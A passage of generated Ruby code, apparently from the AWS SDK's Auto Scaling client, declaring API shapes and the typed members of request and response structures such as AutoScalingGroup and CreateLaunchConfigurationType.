WarmPoolState = Shapes::StringShape.new(name: 'WarmPoolState')
WarmPoolStatus = Shapes::StringShape.new(name: 'WarmPoolStatus')
XmlString = Shapes::StringShape.new(name: 'XmlString')
XmlStringMaxLen1023 = Shapes::StringShape.new(name: 'XmlStringMaxLen1023')
XmlStringMaxLen1600 = Shapes::StringShape.new(name: 'XmlStringMaxLen1600')
XmlStringMaxLen19 = Shapes::StringShape.new(name: 'XmlStringMaxLen19')
XmlStringMaxLen2047 = Shapes::StringShape.new(name: 'XmlStringMaxLen2047')
XmlStringMaxLen255 = Shapes::StringShape.new(name: 'XmlStringMaxLen255')
XmlStringMaxLen32 = Shapes::StringShape.new(name: 'XmlStringMaxLen32')
XmlStringMaxLen511 = Shapes::StringShape.new(name: 'XmlStringMaxLen511')
XmlStringMaxLen64 = Shapes::StringShape.new(name: 'XmlStringMaxLen64')
XmlStringMetricLabel = Shapes::StringShape.new(name: 'XmlStringMetricLabel')
XmlStringMetricStat = Shapes::StringShape.new(name: 'XmlStringMetricStat')
XmlStringUserData = Shapes::StringShape.new(name: 'XmlStringUserData')
AcceleratorCountRequest.add_member(:min, Shapes::ShapeRef.new(shape: NullablePositiveInteger, location_name: "Min"))
AcceleratorCountRequest.add_member(:max, Shapes::ShapeRef.new(shape: NullablePositiveInteger, location_name: "Max"))
AcceleratorCountRequest.struct_class = Types::AcceleratorCountRequest
AcceleratorManufacturers.member = Shapes::ShapeRef.new(shape: AcceleratorManufacturer)
AcceleratorNames.member = Shapes::ShapeRef.new(shape: AcceleratorName)
AcceleratorTotalMemoryMiBRequest.add_member(:min, Shapes::ShapeRef.new(shape: NullablePositiveInteger, location_name: "Min"))
AcceleratorTotalMemoryMiBRequest.add_member(:max, Shapes::ShapeRef.new(shape: NullablePositiveInteger, location_name: "Max"))
AcceleratorTotalMemoryMiBRequest.struct_class = Types::AcceleratorTotalMemoryMiBRequest
AcceleratorTypes.member = Shapes::ShapeRef.new(shape: AcceleratorType)
ActiveInstanceRefreshNotFoundFault.add_member(:message, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "message"))
ActiveInstanceRefreshNotFoundFault.struct_class = Types::ActiveInstanceRefreshNotFoundFault
Activities.member = Shapes::ShapeRef.new(shape: Activity)
ActivitiesType.add_member(:activities, Shapes::ShapeRef.new(shape: Activities, required: true, location_name: "Activities"))
ActivitiesType.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
ActivitiesType.struct_class = Types::ActivitiesType
Activity.add_member(:activity_id, Shapes::ShapeRef.new(shape: XmlString, required: true, location_name: "ActivityId"))
Activity.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
Activity.add_member(:description, Shapes::ShapeRef.new(shape: XmlString, location_name: "Description"))
Activity.add_member(:cause, Shapes::ShapeRef.new(shape: XmlStringMaxLen1023, required: true, location_name: "Cause"))
Activity.add_member(:start_time, Shapes::ShapeRef.new(shape: TimestampType, required: true, location_name: "StartTime"))
Activity.add_member(:end_time, Shapes::ShapeRef.new(shape: TimestampType, location_name: "EndTime"))
Activity.add_member(:status_code, Shapes::ShapeRef.new(shape: ScalingActivityStatusCode, required: true, location_name: "StatusCode"))
Activity.add_member(:status_message, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "StatusMessage"))
Activity.add_member(:progress, Shapes::ShapeRef.new(shape: Progress, location_name: "Progress"))
Activity.add_member(:details, Shapes::ShapeRef.new(shape: XmlString, location_name: "Details"))
Activity.add_member(:auto_scaling_group_state, Shapes::ShapeRef.new(shape: AutoScalingGroupState, location_name: "AutoScalingGroupState"))
Activity.add_member(:auto_scaling_group_arn, Shapes::ShapeRef.new(shape: ResourceName, location_name: "AutoScalingGroupARN"))
Activity.struct_class = Types::Activity
ActivityIds.member = Shapes::ShapeRef.new(shape: XmlString)
ActivityType.add_member(:activity, Shapes::ShapeRef.new(shape: Activity, location_name: "Activity"))
ActivityType.struct_class = Types::ActivityType
AdjustmentType.add_member(:adjustment_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "AdjustmentType"))
AdjustmentType.struct_class = Types::AdjustmentType
AdjustmentTypes.member = Shapes::ShapeRef.new(shape: AdjustmentType)
Alarm.add_member(:alarm_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "AlarmName"))
Alarm.add_member(:alarm_arn, Shapes::ShapeRef.new(shape: ResourceName, location_name: "AlarmARN"))
Alarm.struct_class = Types::Alarm
Alarms.member = Shapes::ShapeRef.new(shape: Alarm)
AlreadyExistsFault.add_member(:message, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "message"))
AlreadyExistsFault.struct_class = Types::AlreadyExistsFault
AttachInstancesQuery.add_member(:instance_ids, Shapes::ShapeRef.new(shape: InstanceIds, location_name: "InstanceIds"))
AttachInstancesQuery.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
AttachInstancesQuery.struct_class = Types::AttachInstancesQuery
AttachLoadBalancerTargetGroupsResultType.struct_class = Types::AttachLoadBalancerTargetGroupsResultType
AttachLoadBalancerTargetGroupsType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
AttachLoadBalancerTargetGroupsType.add_member(:target_group_arns, Shapes::ShapeRef.new(shape: TargetGroupARNs, required: true, location_name: "TargetGroupARNs"))
AttachLoadBalancerTargetGroupsType.struct_class = Types::AttachLoadBalancerTargetGroupsType
AttachLoadBalancersResultType.struct_class = Types::AttachLoadBalancersResultType
AttachLoadBalancersType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
AttachLoadBalancersType.add_member(:load_balancer_names, Shapes::ShapeRef.new(shape: LoadBalancerNames, required: true, location_name: "LoadBalancerNames"))
AttachLoadBalancersType.struct_class = Types::AttachLoadBalancersType
AutoScalingGroup.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
AutoScalingGroup.add_member(:auto_scaling_group_arn, Shapes::ShapeRef.new(shape: ResourceName, location_name: "AutoScalingGroupARN"))
AutoScalingGroup.add_member(:launch_configuration_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "LaunchConfigurationName"))
AutoScalingGroup.add_member(:launch_template, Shapes::ShapeRef.new(shape: LaunchTemplateSpecification, location_name: "LaunchTemplate"))
AutoScalingGroup.add_member(:mixed_instances_policy, Shapes::ShapeRef.new(shape: MixedInstancesPolicy, location_name: "MixedInstancesPolicy"))
AutoScalingGroup.add_member(:min_size, Shapes::ShapeRef.new(shape: AutoScalingGroupMinSize, required: true, location_name: "MinSize"))
AutoScalingGroup.add_member(:max_size, Shapes::ShapeRef.new(shape: AutoScalingGroupMaxSize, required: true, location_name: "MaxSize"))
AutoScalingGroup.add_member(:desired_capacity, Shapes::ShapeRef.new(shape: AutoScalingGroupDesiredCapacity, required: true, location_name: "DesiredCapacity"))
AutoScalingGroup.add_member(:predicted_capacity, Shapes::ShapeRef.new(shape: AutoScalingGroupPredictedCapacity, location_name: "PredictedCapacity"))
AutoScalingGroup.add_member(:default_cooldown, Shapes::ShapeRef.new(shape: Cooldown, required: true, location_name: "DefaultCooldown"))
AutoScalingGroup.add_member(:availability_zones, Shapes::ShapeRef.new(shape: AvailabilityZones, required: true, location_name: "AvailabilityZones"))
AutoScalingGroup.add_member(:load_balancer_names, Shapes::ShapeRef.new(shape: LoadBalancerNames, location_name: "LoadBalancerNames"))
AutoScalingGroup.add_member(:target_group_arns, Shapes::ShapeRef.new(shape: TargetGroupARNs, location_name: "TargetGroupARNs"))
AutoScalingGroup.add_member(:health_check_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen32, required: true, location_name: "HealthCheckType"))
AutoScalingGroup.add_member(:health_check_grace_period, Shapes::ShapeRef.new(shape: HealthCheckGracePeriod, location_name: "HealthCheckGracePeriod"))
AutoScalingGroup.add_member(:instances, Shapes::ShapeRef.new(shape: Instances, location_name: "Instances"))
AutoScalingGroup.add_member(:created_time, Shapes::ShapeRef.new(shape: TimestampType, required: true, location_name: "CreatedTime"))
AutoScalingGroup.add_member(:suspended_processes, Shapes::ShapeRef.new(shape: SuspendedProcesses, location_name: "SuspendedProcesses"))
AutoScalingGroup.add_member(:placement_group, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "PlacementGroup"))
AutoScalingGroup.add_member(:vpc_zone_identifier, Shapes::ShapeRef.new(shape: XmlStringMaxLen2047, location_name: "VPCZoneIdentifier"))
AutoScalingGroup.add_member(:enabled_metrics, Shapes::ShapeRef.new(shape: EnabledMetrics, location_name: "EnabledMetrics"))
AutoScalingGroup.add_member(:status, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "Status"))
AutoScalingGroup.add_member(:tags, Shapes::ShapeRef.new(shape: TagDescriptionList, location_name: "Tags"))
AutoScalingGroup.add_member(:termination_policies, Shapes::ShapeRef.new(shape: TerminationPolicies, location_name: "TerminationPolicies"))
AutoScalingGroup.add_member(:new_instances_protected_from_scale_in, Shapes::ShapeRef.new(shape: InstanceProtected, location_name: "NewInstancesProtectedFromScaleIn"))
AutoScalingGroup.add_member(:service_linked_role_arn, Shapes::ShapeRef.new(shape: ResourceName, location_name: "ServiceLinkedRoleARN"))
AutoScalingGroup.add_member(:max_instance_lifetime, Shapes::ShapeRef.new(shape: MaxInstanceLifetime, location_name: "MaxInstanceLifetime"))
AutoScalingGroup.add_member(:capacity_rebalance, Shapes::ShapeRef.new(shape: CapacityRebalanceEnabled, location_name: "CapacityRebalance"))
AutoScalingGroup.add_member(:warm_pool_configuration, Shapes::ShapeRef.new(shape: WarmPoolConfiguration, location_name: "WarmPoolConfiguration"))
AutoScalingGroup.add_member(:warm_pool_size, Shapes::ShapeRef.new(shape: WarmPoolSize, location_name: "WarmPoolSize"))
AutoScalingGroup.add_member(:context, Shapes::ShapeRef.new(shape: Context, location_name: "Context"))
AutoScalingGroup.add_member(:desired_capacity_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "DesiredCapacityType"))
AutoScalingGroup.add_member(:default_instance_warmup, Shapes::ShapeRef.new(shape: DefaultInstanceWarmup, location_name: "DefaultInstanceWarmup"))
AutoScalingGroup.struct_class = Types::AutoScalingGroup
AutoScalingGroupNames.member = Shapes::ShapeRef.new(shape: XmlStringMaxLen255)
AutoScalingGroupNamesType.add_member(:auto_scaling_group_names, Shapes::ShapeRef.new(shape: AutoScalingGroupNames, location_name: "AutoScalingGroupNames"))
AutoScalingGroupNamesType.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
AutoScalingGroupNamesType.add_member(:max_records, Shapes::ShapeRef.new(shape: MaxRecords, location_name: "MaxRecords"))
AutoScalingGroupNamesType.add_member(:filters, Shapes::ShapeRef.new(shape: Filters, location_name: "Filters"))
AutoScalingGroupNamesType.struct_class = Types::AutoScalingGroupNamesType
AutoScalingGroups.member = Shapes::ShapeRef.new(shape: AutoScalingGroup)
AutoScalingGroupsType.add_member(:auto_scaling_groups, Shapes::ShapeRef.new(shape: AutoScalingGroups, required: true, location_name: "AutoScalingGroups"))
AutoScalingGroupsType.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
AutoScalingGroupsType.struct_class = Types::AutoScalingGroupsType
AutoScalingInstanceDetails.add_member(:instance_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen19, required: true, location_name: "InstanceId"))
AutoScalingInstanceDetails.add_member(:instance_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "InstanceType"))
AutoScalingInstanceDetails.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
AutoScalingInstanceDetails.add_member(:availability_zone, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AvailabilityZone"))
AutoScalingInstanceDetails.add_member(:lifecycle_state, Shapes::ShapeRef.new(shape: XmlStringMaxLen32, required: true, location_name: "LifecycleState"))
AutoScalingInstanceDetails.add_member(:health_status, Shapes::ShapeRef.new(shape: XmlStringMaxLen32, required: true, location_name: "HealthStatus"))
AutoScalingInstanceDetails.add_member(:launch_configuration_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "LaunchConfigurationName"))
AutoScalingInstanceDetails.add_member(:launch_template, Shapes::ShapeRef.new(shape: LaunchTemplateSpecification, location_name: "LaunchTemplate"))
AutoScalingInstanceDetails.add_member(:protected_from_scale_in, Shapes::ShapeRef.new(shape: InstanceProtected, required: true, location_name: "ProtectedFromScaleIn"))
AutoScalingInstanceDetails.add_member(:weighted_capacity, Shapes::ShapeRef.new(shape: XmlStringMaxLen32, location_name: "WeightedCapacity"))
AutoScalingInstanceDetails.struct_class = Types::AutoScalingInstanceDetails
AutoScalingInstances.member = Shapes::ShapeRef.new(shape: AutoScalingInstanceDetails)
AutoScalingInstancesType.add_member(:auto_scaling_instances, Shapes::ShapeRef.new(shape: AutoScalingInstances, location_name: "AutoScalingInstances"))
AutoScalingInstancesType.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
AutoScalingInstancesType.struct_class = Types::AutoScalingInstancesType
AutoScalingNotificationTypes.member = Shapes::ShapeRef.new(shape: XmlStringMaxLen255)
AvailabilityZones.member = Shapes::ShapeRef.new(shape: XmlStringMaxLen255)
BaselineEbsBandwidthMbpsRequest.add_member(:min, Shapes::ShapeRef.new(shape: NullablePositiveInteger, location_name: "Min"))
BaselineEbsBandwidthMbpsRequest.add_member(:max, Shapes::ShapeRef.new(shape: NullablePositiveInteger, location_name: "Max"))
BaselineEbsBandwidthMbpsRequest.struct_class = Types::BaselineEbsBandwidthMbpsRequest
BatchDeleteScheduledActionAnswer.add_member(:failed_scheduled_actions, Shapes::ShapeRef.new(shape: FailedScheduledUpdateGroupActionRequests, location_name: "FailedScheduledActions"))
BatchDeleteScheduledActionAnswer.struct_class = Types::BatchDeleteScheduledActionAnswer
BatchDeleteScheduledActionType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
BatchDeleteScheduledActionType.add_member(:scheduled_action_names, Shapes::ShapeRef.new(shape: ScheduledActionNames, required: true, location_name: "ScheduledActionNames"))
BatchDeleteScheduledActionType.struct_class = Types::BatchDeleteScheduledActionType
BatchPutScheduledUpdateGroupActionAnswer.add_member(:failed_scheduled_update_group_actions, Shapes::ShapeRef.new(shape: FailedScheduledUpdateGroupActionRequests, location_name: "FailedScheduledUpdateGroupActions"))
BatchPutScheduledUpdateGroupActionAnswer.struct_class = Types::BatchPutScheduledUpdateGroupActionAnswer
BatchPutScheduledUpdateGroupActionType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
BatchPutScheduledUpdateGroupActionType.add_member(:scheduled_update_group_actions, Shapes::ShapeRef.new(shape: ScheduledUpdateGroupActionRequests, required: true, location_name: "ScheduledUpdateGroupActions"))
BatchPutScheduledUpdateGroupActionType.struct_class = Types::BatchPutScheduledUpdateGroupActionType
BlockDeviceMapping.add_member(:virtual_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "VirtualName"))
BlockDeviceMapping.add_member(:device_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "DeviceName"))
BlockDeviceMapping.add_member(:ebs, Shapes::ShapeRef.new(shape: Ebs, location_name: "Ebs"))
BlockDeviceMapping.add_member(:no_device, Shapes::ShapeRef.new(shape: NoDevice, location_name: "NoDevice"))
BlockDeviceMapping.struct_class = Types::BlockDeviceMapping
BlockDeviceMappings.member = Shapes::ShapeRef.new(shape: BlockDeviceMapping)
CancelInstanceRefreshAnswer.add_member(:instance_refresh_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "InstanceRefreshId"))
CancelInstanceRefreshAnswer.struct_class = Types::CancelInstanceRefreshAnswer
CancelInstanceRefreshType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
CancelInstanceRefreshType.struct_class = Types::CancelInstanceRefreshType
CapacityForecast.add_member(:timestamps, Shapes::ShapeRef.new(shape: PredictiveScalingForecastTimestamps, required: true, location_name: "Timestamps"))
CapacityForecast.add_member(:values, Shapes::ShapeRef.new(shape: PredictiveScalingForecastValues, required: true, location_name: "Values"))
CapacityForecast.struct_class = Types::CapacityForecast
CheckpointPercentages.member = Shapes::ShapeRef.new(shape: NonZeroIntPercent)
ClassicLinkVPCSecurityGroups.member = Shapes::ShapeRef.new(shape: XmlStringMaxLen255)
CompleteLifecycleActionAnswer.struct_class = Types::CompleteLifecycleActionAnswer
CompleteLifecycleActionType.add_member(:lifecycle_hook_name, Shapes::ShapeRef.new(shape: AsciiStringMaxLen255, required: true, location_name: "LifecycleHookName"))
CompleteLifecycleActionType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: ResourceName, required: true, location_name: "AutoScalingGroupName"))
CompleteLifecycleActionType.add_member(:lifecycle_action_token, Shapes::ShapeRef.new(shape: LifecycleActionToken, location_name: "LifecycleActionToken"))
CompleteLifecycleActionType.add_member(:lifecycle_action_result, Shapes::ShapeRef.new(shape: LifecycleActionResult, required: true, location_name: "LifecycleActionResult"))
CompleteLifecycleActionType.add_member(:instance_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen19, location_name: "InstanceId"))
CompleteLifecycleActionType.struct_class = Types::CompleteLifecycleActionType
CpuManufacturers.member = Shapes::ShapeRef.new(shape: CpuManufacturer)
CreateAutoScalingGroupType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
CreateAutoScalingGroupType.add_member(:launch_configuration_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "LaunchConfigurationName"))
CreateAutoScalingGroupType.add_member(:launch_template, Shapes::ShapeRef.new(shape: LaunchTemplateSpecification, location_name: "LaunchTemplate"))
CreateAutoScalingGroupType.add_member(:mixed_instances_policy, Shapes::ShapeRef.new(shape: MixedInstancesPolicy, location_name: "MixedInstancesPolicy"))
CreateAutoScalingGroupType.add_member(:instance_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen19, location_name: "InstanceId"))
CreateAutoScalingGroupType.add_member(:min_size, Shapes::ShapeRef.new(shape: AutoScalingGroupMinSize, required: true, location_name: "MinSize"))
CreateAutoScalingGroupType.add_member(:max_size, Shapes::ShapeRef.new(shape: AutoScalingGroupMaxSize, required: true, location_name: "MaxSize"))
CreateAutoScalingGroupType.add_member(:desired_capacity, Shapes::ShapeRef.new(shape: AutoScalingGroupDesiredCapacity, location_name: "DesiredCapacity"))
CreateAutoScalingGroupType.add_member(:default_cooldown, Shapes::ShapeRef.new(shape: Cooldown, location_name: "DefaultCooldown"))
CreateAutoScalingGroupType.add_member(:availability_zones, Shapes::ShapeRef.new(shape: AvailabilityZones, location_name: "AvailabilityZones"))
CreateAutoScalingGroupType.add_member(:load_balancer_names, Shapes::ShapeRef.new(shape: LoadBalancerNames, location_name: "LoadBalancerNames"))
CreateAutoScalingGroupType.add_member(:target_group_arns, Shapes::ShapeRef.new(shape: TargetGroupARNs, location_name: "TargetGroupARNs"))
CreateAutoScalingGroupType.add_member(:health_check_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen32, location_name: "HealthCheckType"))
CreateAutoScalingGroupType.add_member(:health_check_grace_period, Shapes::ShapeRef.new(shape: HealthCheckGracePeriod, location_name: "HealthCheckGracePeriod"))
CreateAutoScalingGroupType.add_member(:placement_group, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "PlacementGroup"))
CreateAutoScalingGroupType.add_member(:vpc_zone_identifier, Shapes::ShapeRef.new(shape: XmlStringMaxLen2047, location_name: "VPCZoneIdentifier"))
CreateAutoScalingGroupType.add_member(:termination_policies, Shapes::ShapeRef.new(shape: TerminationPolicies, location_name: "TerminationPolicies"))
CreateAutoScalingGroupType.add_member(:new_instances_protected_from_scale_in, Shapes::ShapeRef.new(shape: InstanceProtected, location_name: "NewInstancesProtectedFromScaleIn"))
CreateAutoScalingGroupType.add_member(:capacity_rebalance, Shapes::ShapeRef.new(shape: CapacityRebalanceEnabled, location_name: "CapacityRebalance"))
CreateAutoScalingGroupType.add_member(:lifecycle_hook_specification_list, Shapes::ShapeRef.new(shape: LifecycleHookSpecifications, location_name: "LifecycleHookSpecificationList"))
CreateAutoScalingGroupType.add_member(:tags, Shapes::ShapeRef.new(shape: Tags, location_name: "Tags"))
CreateAutoScalingGroupType.add_member(:service_linked_role_arn, Shapes::ShapeRef.new(shape: ResourceName, location_name: "ServiceLinkedRoleARN"))
CreateAutoScalingGroupType.add_member(:max_instance_lifetime, Shapes::ShapeRef.new(shape: MaxInstanceLifetime, location_name: "MaxInstanceLifetime"))
CreateAutoScalingGroupType.add_member(:context, Shapes::ShapeRef.new(shape: Context, location_name: "Context"))
CreateAutoScalingGroupType.add_member(:desired_capacity_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "DesiredCapacityType"))
CreateAutoScalingGroupType.add_member(:default_instance_warmup, Shapes::ShapeRef.new(shape: DefaultInstanceWarmup, location_name: "DefaultInstanceWarmup"))
CreateAutoScalingGroupType.struct_class = Types::CreateAutoScalingGroupType
CreateLaunchConfigurationType.add_member(:launch_configuration_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "LaunchConfigurationName"))
CreateLaunchConfigurationType.add_member(:image_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "ImageId"))
CreateLaunchConfigurationType.add_member(:key_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "KeyName"))
CreateLaunchConfigurationType.add_member(:security_groups, Shapes::ShapeRef.new(shape: SecurityGroups, location_name: "SecurityGroups"))
CreateLaunchConfigurationType.add_member(:classic_link_vpc_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "ClassicLinkVPCId"))
CreateLaunchConfigurationType.add_member(:classic_link_vpc_security_groups, Shapes::ShapeRef.new(shape: ClassicLinkVPCSecurityGroups, location_name: "ClassicLinkVPCSecurityGroups"))
CreateLaunchConfigurationType.add_member(:user_data, Shapes::ShapeRef.new(shape: XmlStringUserData, location_name: "UserData"))
CreateLaunchConfigurationType.add_member(:instance_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen19, location_name: "InstanceId"))
CreateLaunchConfigurationType.add_member(:instance_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "InstanceType"))
CreateLaunchConfigurationType.add_member(:kernel_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "KernelId"))
CreateLaunchConfigurationType.add_member(:ramdisk_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "RamdiskId"))
CreateLaunchConfigurationType.add_member(:block_device_mappings, Shapes::ShapeRef.new(shape: BlockDeviceMappings, location_name: "BlockDeviceMappings"))
CreateLaunchConfigurationType.add_member(:instance_monitoring, Shapes::ShapeRef.new(shape: InstanceMonitoring, location_name: "InstanceMonitoring"))
CreateLaunchConfigurationType.add_member(:spot_price, Shapes::ShapeRef.new(shape: SpotPrice, location_name: "SpotPrice"))
CreateLaunchConfigurationType.add_member(:iam_instance_profile, Shapes::ShapeRef.new(shape: XmlStringMaxLen1600, location_name: "IamInstanceProfile"))
CreateLaunchConfigurationType.add_member(:ebs_optimized, Shapes::ShapeRef.new(shape: EbsOptimized, location_name: "EbsOptimized"))
CreateLaunchConfigurationType.add_member(:associate_public_ip_address, Shapes::ShapeRef.new(shape: AssociatePublicIpAddress, location_name: "AssociatePublicIpAddress"))
CreateLaunchConfigurationType.add_member(:placement_tenancy, Shapes::ShapeRef.new(shape: XmlStringMaxLen64, location_name: "PlacementTenancy"))
CreateLaunchConfigurationType.add_member(:metadata_options, Shapes::ShapeRef.new(shape: InstanceMetadataOptions, location_name: "MetadataOptions"))
CreateLaunchConfigurationType.struct_class = Types::CreateLaunchConfigurationType
CreateOrUpdateTagsType.add_member(:tags, Shapes::ShapeRef.new(shape: Tags, required: true, location_name: "Tags"))
CreateOrUpdateTagsType.struct_class = Types::CreateOrUpdateTagsType
CustomizedMetricSpecification.add_member(:metric_name, Shapes::ShapeRef.new(shape: MetricName, required: true, location_name: "MetricName"))
CustomizedMetricSpecification.add_member(:namespace, Shapes::ShapeRef.new(shape: MetricNamespace, required: true, location_name: "Namespace"))
CustomizedMetricSpecification.add_member(:dimensions, Shapes::ShapeRef.new(shape: MetricDimensions, location_name: "Dimensions"))
CustomizedMetricSpecification.add_member(:statistic, Shapes::ShapeRef.new(shape: MetricStatistic, required: true, location_name: "Statistic"))
CustomizedMetricSpecification.add_member(:unit, Shapes::ShapeRef.new(shape: MetricUnit, location_name: "Unit"))
CustomizedMetricSpecification.struct_class = Types::CustomizedMetricSpecification
DeleteAutoScalingGroupType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
DeleteAutoScalingGroupType.add_member(:force_delete, Shapes::ShapeRef.new(shape: ForceDelete, location_name: "ForceDelete"))
DeleteAutoScalingGroupType.struct_class = Types::DeleteAutoScalingGroupType
DeleteLifecycleHookAnswer.struct_class = Types::DeleteLifecycleHookAnswer
DeleteLifecycleHookType.add_member(:lifecycle_hook_name, Shapes::ShapeRef.new(shape: AsciiStringMaxLen255, required: true, location_name: "LifecycleHookName"))
DeleteLifecycleHookType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
DeleteLifecycleHookType.struct_class = Types::DeleteLifecycleHookType
DeleteNotificationConfigurationType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
DeleteNotificationConfigurationType.add_member(:topic_arn, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "TopicARN"))
DeleteNotificationConfigurationType.struct_class = Types::DeleteNotificationConfigurationType
DeletePolicyType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "AutoScalingGroupName"))
DeletePolicyType.add_member(:policy_name, Shapes::ShapeRef.new(shape: ResourceName, required: true, location_name: "PolicyName"))
DeletePolicyType.struct_class = Types::DeletePolicyType
DeleteScheduledActionType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
DeleteScheduledActionType.add_member(:scheduled_action_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "ScheduledActionName"))
DeleteScheduledActionType.struct_class = Types::DeleteScheduledActionType
DeleteTagsType.add_member(:tags, Shapes::ShapeRef.new(shape: Tags, required: true, location_name: "Tags"))
DeleteTagsType.struct_class = Types::DeleteTagsType
DeleteWarmPoolAnswer.struct_class = Types::DeleteWarmPoolAnswer
DeleteWarmPoolType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
DeleteWarmPoolType.add_member(:force_delete, Shapes::ShapeRef.new(shape: ForceDelete, location_name: "ForceDelete"))
DeleteWarmPoolType.struct_class = Types::DeleteWarmPoolType
DescribeAccountLimitsAnswer.add_member(:max_number_of_auto_scaling_groups, Shapes::ShapeRef.new(shape: MaxNumberOfAutoScalingGroups, location_name: "MaxNumberOfAutoScalingGroups"))
DescribeAccountLimitsAnswer.add_member(:max_number_of_launch_configurations, Shapes::ShapeRef.new(shape: MaxNumberOfLaunchConfigurations, location_name: "MaxNumberOfLaunchConfigurations"))
DescribeAccountLimitsAnswer.add_member(:number_of_auto_scaling_groups, Shapes::ShapeRef.new(shape: NumberOfAutoScalingGroups, location_name: "NumberOfAutoScalingGroups"))
DescribeAccountLimitsAnswer.add_member(:number_of_launch_configurations, Shapes::ShapeRef.new(shape: NumberOfLaunchConfigurations, location_name: "NumberOfLaunchConfigurations"))
DescribeAccountLimitsAnswer.struct_class = Types::DescribeAccountLimitsAnswer
DescribeAdjustmentTypesAnswer.add_member(:adjustment_types, Shapes::ShapeRef.new(shape: AdjustmentTypes, location_name: "AdjustmentTypes"))
DescribeAdjustmentTypesAnswer.struct_class = Types::DescribeAdjustmentTypesAnswer
DescribeAutoScalingInstancesType.add_member(:instance_ids, Shapes::ShapeRef.new(shape: InstanceIds, location_name: "InstanceIds"))
DescribeAutoScalingInstancesType.add_member(:max_records, Shapes::ShapeRef.new(shape: MaxRecords, location_name: "MaxRecords"))
DescribeAutoScalingInstancesType.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
DescribeAutoScalingInstancesType.struct_class = Types::DescribeAutoScalingInstancesType
DescribeAutoScalingNotificationTypesAnswer.add_member(:auto_scaling_notification_types, Shapes::ShapeRef.new(shape: AutoScalingNotificationTypes, location_name: "AutoScalingNotificationTypes"))
DescribeAutoScalingNotificationTypesAnswer.struct_class = Types::DescribeAutoScalingNotificationTypesAnswer
DescribeInstanceRefreshesAnswer.add_member(:instance_refreshes, Shapes::ShapeRef.new(shape: InstanceRefreshes, location_name: "InstanceRefreshes"))
